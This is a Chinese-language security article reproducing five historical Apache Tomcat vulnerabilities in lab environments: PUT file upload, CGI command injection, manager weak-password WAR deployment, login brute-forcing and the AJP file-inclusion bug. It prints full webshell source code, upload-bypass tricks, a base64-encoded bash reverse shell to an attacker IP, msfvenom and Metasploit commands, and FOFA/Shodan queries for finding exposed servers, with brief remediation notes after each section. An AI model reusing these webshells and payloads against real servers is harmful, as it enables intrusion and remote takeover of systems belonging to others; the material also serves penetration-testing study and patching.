查看原文
其他

原创 | web中间件安全-Tomcat漏洞复现

ch4nge SecIN技术平台 2022-06-18
点击上方蓝字 关注我吧


前言


本篇文章是Tomcat历史漏洞利用复现记录,记录了历史Tomcat漏洞和利用方式及漏洞修复建议,文章分为简介、安装、漏洞复现和fofa搜索语法三部分,复现5个历史漏洞,复现使用环境为本地和docker vulhub。文中出现的错误和不足之后希望读者指出,谢谢。

Tomcat简介


Tomcat 服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。
tomcat默认端口:8080

Tomcat安装


这里安装tomcat8版本,先安装jdk8

jdk下载地址

https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html

jdk安装后需要设置环境变量


tomcat下载地址

https://tomcat.apache.org/download-80.cgihttps://archive.apache.org/dist/tomcat/tomcat-8/

双击安装即可,安装完成后,访问http://localhost:8080显示一下页面表示安装成功:


安装路径

C:\Program Files\Apache Software Foundation\Tomcat 8.5


打开bin目录

其中startup.bat和Tomcat9.exe都可以启动Tomcat服务


漏洞复现

1、任意文件写入(CVE-2017-12615)

1)影响范围

影响范围:Apache Tomcat 7.0.0-7.0.81(默认配置)复现环境:Tomcat 8.5.19
sudo docker pssudo docker exec -ti 0f864 bashcat conf/web.xml | grep readonly


访问靶机
http://192.168.3.14:8080

2)漏洞复现


抓包将请求方式修改为PUT进行写入文件


查看结果,成果写入文件,这里注意,响应头201表示写入文件成功,如果是204,是因为文件夹中已存在此文件名的文件,会自动覆盖写入文件内容


上传webshell
使用vulhub CVE-2017-12615的tomcat 8.5.19版本进行测试
绕过方法如下
1. 空格绕过PUT /ch4nge.jsp%20上传到windows会被自动去掉末尾空格2. NTFS流绕过PUT /ch4nge1.jsp::$DATA3./绕过PUT /ch4nge2.jsp/



上传成功


使用冰蝎的jsp webshell,连接密码是rebeyond
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
经过三种上传方式的连接发现只有第三种可以连接成功


验证:第一种上传的后缀名后面有一个空格,第二个后面有::$DATA,第三个正常


上传命令执行木马
<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%>


http://192.168.3.14:8080/ch4nge2.jsp?cmd=id
执行成功

3)修复建议

将wen.xml文件中的readonly=true,默认为true

2、远程代码执行(CVE-2019-0232)

1)影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17Apache Tomcat 8.5.0 to 8.5.39Apache Tomcat 7.0.0 to 7.0.93影响系统:Windows复现环境:9.0.17

2)环境搭建


1.配置CGI
在C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\web.xml中启用CGIServlet,注意cgipath要修改为WEB-INF/cgi-bin:


<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi-bin</param-value> </init-param> <init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5</load-on-startup></servlet>
1. enableCmdLineArguments启用后会将Url中的参数传递到命令行2. executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。
2.启用cgi的servlet-mapping


修改C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\context.xml的添加 privileged="true"属性,否则会没有权限:
<Context privileged="true">


3.配置目录文件
C:\Program Files\Apache Software Foundation\Tomcat 8.5\webapps\ROOT\WEB-INF下创建cgi-bin目录,并在该目录下创建一个ch4nge.bat的文件,内容任意


3)漏洞复现


http://127.0.0.1:8080/cgi-bin/ch4nge.bat?&dir

4)漏洞原理分析


参考https://paper.seebug.org/958/
漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。这个漏洞是因为 Runtime.getRuntime().exec 在Windows中和Linux中底层实现不同导致的。
举例说明,在Windows下创建ch4nge.bat:
rem ch4nge.batecho %*
执行如下的ch4nge.java代码:
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class ch4nge { public static void main(String[] args) { Process p; String [] cmd={"ch4nge.bat", "ch4nge", "&", "whoami"}; try { //执行命令 p = Runtime.getRuntime().exec(cmd); //取得命令结果的输出流 InputStream fis=p.getInputStream(); //用一个读输出流类去读 InputStreamReader isr=new InputStreamReader(fis); //用缓冲器读行 BufferedReader br=new BufferedReader(isr); String line=null; //直到读完为止 while((line=br.readLine())!=null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } } }




在Windows下会输出 arg和dir 命令运行后的结果。
Linux环境下测试:
#!/bin/bash# ch4nge.shfor key in "$@"doecho '$@' $keydone
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class ch4nge { public static void main(String[] args) { Process p; String [] cmd={"/root/桌面/tomcattest/ch4nge.sh", "ch4nge", "&", "whoami"}; try { //执行命令 p = Runtime.getRuntime().exec(cmd); //取得命令结果的输出流 InputStream fis=p.getInputStream(); //用一个读输出流类去读 InputStreamReader isr=new InputStreamReader(fis); //用缓冲器读行 BufferedReader br=new BufferedReader(isr); String line=null; //直到读完为止 while((line=br.readLine())!=null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } } }

此时输出为
$@ ch4nge$@ &$@ whoami

5)修复建议


1,使用更新版本的Apache Tomcat。这里需要注意的是,虽然在9.0.18就修复了这个漏洞,但这个更新是并没有通过候选版本的投票,所以虽然9.0.13没有在被影响的列表中,用户仍需要下载9.0.19的版本来获得没有该漏洞的版本。
2.关闭enableCmdLineArquments参数
3、后台弱口令部署war包

1)影响范围


Tomcat7-tomcat8

2)环境搭建


设置允许远程访问该manager
(1)拷出vulhub中tomcat8环境的tomcat-users.xml文件
docker psdocker exec -ti 8e4 bashcd confdocker cp 8e44ff73d992:/usr/local/tomcat/conf/tomcat-users.xml /root/Desktop/docker cp 8e44ff73d992:/usr/local/tomcat/conf/tomcat-users.xsd /root/Desktop/docker cp 8e44ff73d992:/usr/local/tomcat/conf/web.xml /root/Desktop/


tomcat-users.xml源码如下
<?xml version="1.0" encoding="UTF-8"?><tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0">

<role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users>
(2)在conf/tomcat-users.xml文件中配置用户的权限:


将从docker中拷出来的tomcat-users.xml文件内容替换进来


(3)修改C:\tomcat9\conf\Catalina\localhost路径下的manager.xml文件,如果该路径下面没有此文件,则新建,内容如下:
<Context privileged="true" antiResourceLocking="false" docBase="${catalina.home}/webapps/manager"> <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" /></Context>


登录manager管理页面
默认用户名密码是tomcat/tomcat

登录成功


3)漏洞复现


生成war的webshell包
方法一将jsp的webshell压缩成zip文件,把文件后缀修改为war或者zip命令zip -r - ch4nge.jsp > ch4nge.war

方法二,java命令jar -cvf ch4nge.war ch4nge.jsp


jsp webshell源码
<%@page contentType="text/html;charset=gb2312"%> <%@page import="java.io.*,java.util.*,java.net.*"%> <html> <head> <title></title> <style type="text/css"> body { color:red; font-size:12px; background-color:white; } </style> </head> <body> <% if(request.getParameter("context")!=null) { String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312"); String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312"); OutputStream pt = null; try { pt = new FileOutputStream(path); pt.write(context.getBytes()); out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>"); } catch (FileNotFoundException ex2) { out.println("<font color='red'>上传失败!</font>"); } catch (IOException ex) { out.println("<font color='red'>上传失败!</font>"); } finally { try { pt.close(); } catch (IOException ex3) { out.println("<font color='red'>上传失败!</font>"); } } } %> <form name="frmUpload" method="post" action=""> <font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %> <br> <br> <font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>"> <br> <br> 上传文件内容:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea> <br> <br> <input type="submit" name="btnSubmit" value="Upload"> </form> </body> </html>

   

将ch4nge.jsp压缩成ch4nge.zip


或者使用java命令


上传war木马


成功上传


查看上传位置/ch4nge


访问webshell

4)冰蝎上线



成功连接


webshell木马下载地址
https://github.com/tennc/webshell


5)MSF上线


使用模块exploit/multi/http/tomcat_mgr_upload


成功获取shell,system权限

6)修复建议


1、在系统上以低权限运行Tomcat应用程序。创建一个专门的Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。

2、增加对于本地和基于证书的身份验证,部署账户锁定机制《对于集中式认证,目录服务也要做相应配置)。在CATALITNA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

4、Tomcat manager口令爆破方法

1)获取用户名密码字段


在登录位置抓包
http://192.168.253.86:8080/manager/html


账号密码的字段使用base64编码,解码结果是: tomcat:tomcat

2)爆破


登录位置抓包


变量选中base64编码内容


有效载荷类别选择自定义迭代器Custom iterator




位置1填入用户名


位置2填入符号


位置3填入密码


选择base64编码


url编码勾选去掉:


开启攻击,爆破成功


dG9tY2F0OnRvbWNhdA==
解码

3)修复建议

0. 使用复杂密码1.取消manager/html功能。2. manager页面应只允许本地IP访问

5、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)

1)影响版本

Apache Tomcat 9.x < 9.0.31Apache Tomcat 8.x < 8.5.51Apache Tomcat 7.x < 7.0.100Apache Tomcat 6.x
漏洞影响:读取webapp下的所有文件

2)漏洞复现


(1)启动vulhub环境
docker-compose up -d


此次漏洞产生的位置是8009的AJP协议,此处使用公开的利用脚本进行测试,可以读取web.xml文件。
漏洞exp下载
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi运行环境:python2
运行正常


读取WEB-INF/web.xml文件
靶机地址:192.168.11.92python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f /WEB-INF/web.xml


在靶场中的ROOT目录中新建文件用来测试读取,成功


python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f ch4nge.txt


文件包含RCE复现
该漏洞可以任意文件类型解析为jsp,从而达到任意命令执行的效果。但漏洞需要配合文件上传漏洞才可利用,假设目标服务器已经有了一个shell.txt,里面内容是执行任意命令,可以执行以下命令得到命令执行结果
在线bash payload生成:
http://www.jackson-t.ca/runtime-exec-payloads.htmlpayloadbash -i &>/dev/tcp/192.168.10.225/8888 <&1


payload为
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAuMjI1Lzg4ODggPCYx}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
将内容保存为ch4nge1.txt,复制到服务器的ROOT路径,在实际的渗透操作中可以使用前面用到的漏洞,使用PUT方法写入文件
查看iddocker ps复制到服务器路径docker cp /root/Desktop/ch4nge1.txt e20097e2c8c1:/usr/local/tomcat/webapps/ROOT查看文件docker-compose exec tomcat cat webapps/ROOT/ch4nge1.txt


kali监听8888端口
nc -lvp 8888

注意:要想文件包含,必须要运行包含的文件,所以目标文件是jsp才可以,这里需要修改exp中第296行的文件名asdf为asdf.jsp


成功反弹shell

3)MSF上线


msfvenom生成木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.225 LPORT=6666 R > shell.txt

将文件上传到服务器ROOT路径,操作同前面一样
docker cp /root/Desktop/shell.txt e20097e2c8c1:/usr/local/tomcat/webapps/ROOTdocker-compose exec tomcat cat webapps/ROOT/shell.txt


msf开启监听
use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 192.168.10.225set lport 6666exploit -j


执行文件包含exp
重要的事情再说一遍!注意:
要想文件包含,必须要运行包含的文件,所以目标文件是jsp才可以,这里需要修改exp中第296行的文件名asdf为asdf.asp

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f shell.txt
成功!!!

4)修复建议


1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复。

2、禁用AJP协议
具体方法:编辑/conf/server.xml,找到如下行
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
将此行注释掉,或者删掉

<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->

3、配置secret来设置AJP协议的认证凭证。
例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>


FOFA&Shodan搜索方法


fofaapp="Apache-tomcat"
shodanproduct:"Apache Tomcat/Coyote JSP engine" http.html:"Managing Tomcat"


参考


https://paper.seebug.org/958/https://zhuanlan.zhihu.com/p/66613483https://help.fanruan.com/finereport/index.php?doc-view-3239.html大马合集https://github.com/tennc/webshell


相关文件下载


链接:https://pan.baidu.com/s/18nQ532V9DmC6VMy3uY2cbg
提取码:ar20


相关推荐



原创 | tkMybatis中常见的注入场景

原创 | Mybatis常用注解中的SQL注入

原创 | 关于大火的Print Spooler漏洞的深度分析

原创 | MyBatisPlus通用IService的注入场景


你要的分享、在看与点赞都在这儿~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存